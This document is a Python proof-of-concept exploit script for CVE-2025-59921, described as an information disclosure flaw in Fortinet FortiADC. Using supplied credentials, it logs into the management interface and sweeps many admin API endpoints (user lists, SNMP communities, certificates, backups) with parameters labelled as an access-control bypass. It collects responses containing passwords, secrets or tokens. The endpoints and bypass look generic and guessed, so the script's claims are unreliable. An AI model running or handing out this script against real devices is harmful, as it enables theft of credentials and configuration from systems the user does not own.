# CVE-2025-59921 - Fortinet FortiADC Sensitive Information Disclosure PoC
# This PoC demonstrates how an authenticated attacker can exploit the vulnerability
# to obtain sensitive information via crafted HTTP/HTTPS requests.
import requests
import urllib3
import sys
# Disable SSL warnings for self-signed certificates (common in FortiADC deployments)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class FortiADCInfoDisclosure:
"""
PoC for CVE-2025-59921
Fortinet FortiADC Sensitive Information Disclosure Vulnerability
"""
def __init__(self, target_url, username, password):
self.target_url = target_url.rstrip('/')
self.username = username
self.password = password
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'en-US,en;q=0.9',
})
def authenticate(self):
"""Authenticate to FortiADC management interface"""
login_url = f"{self.target_url}/api/login"
# Alternative login endpoints
login_endpoints = [
"/api/login",
"/logincheck",
"/api/v1/login",
"/cgi-bin/login"
]
for endpoint in login_endpoints:
try:
url = f"{self.target_url}{endpoint}"
data = {
"username": self.username,
"password": self.password
}
response = self.session.post(url, json=data, timeout=10)
if response.status_code == 200 and ('token' in response.text.lower() or 'session' in response.text.lower()):
print(f"[+] Successfully authenticated via {endpoint}")
return True
except Exception as e:
continue
return False
def exploit_info_disclosure(self):
"""
Exploit CVE-2025-59921 by sending crafted HTTP requests
to trigger sensitive information disclosure
"""
# Endpoints that may leak sensitive information
sensitive_endpoints = [
"/api/system/status",
"/api/system/config",
"/api/user/list",
"/api/system/admin",
"/api/config/global",
"/api/system/dns",
"/api/system/ntp",
"/api/snmp/community",
"/api/certificate/list",
"/api/system/backup",
"/api/log/config",
"/api/system/interface",
"/api/router/static",
]
disclosed_data = {}
for endpoint in sensitive_endpoints:
try:
url = f"{self.target_url}{endpoint}"
# Crafted request with special parameters to bypass access control
params = {
'format': 'json',
'full': 'true',
'include': 'all',
'detail': '1'
}
response = self.session.get(url, params=params, timeout=10)
if response.status_code == 200 and len(response.text) > 0:
# Check if response contains sensitive data
sensitive_keywords = ['password', 'secret', 'key', 'token',
'private', 'credential', 'config', 'admin']
if any(kw in response.text.lower() for kw in sensitive_keywords):
print(f"[!] Sensitive data found at: {endpoint}")
disclosed_data[endpoint] = response.text[:500]
except Exception as e:
continue
return disclosed_data
def run(self):
"""Main execution method"""
print(f"[*] Targeting: {self.target_url}")
print(f"[*] CVE-2025-59921 - FortiADC Info Disclosure PoC")
if not self.authenticate():
print("[-] Authentication failed. Valid credentials required.")
return
print("[+] Authentication successful")
print("[*] Attempting to exploit CVE-2025-59921...")
data = self.exploit_info_disclosure()
if data:
print(f"[+] Disclosed {len(data)} sensitive endpoints")
for endpoint, content in data.items():
print(f"\n--- {endpoint} ---")
print(content[:200])
else:
print("[-] No sensitive data disclosed or endpoint patterns differ")
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <target_url> <username> <password>")
print(f"Example: {sys.argv[0]} https://192.168.1.100 admin password123")
sys.exit(1)
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
exploit = FortiADCInfoDisclosure(target, username, password)
exploit.run()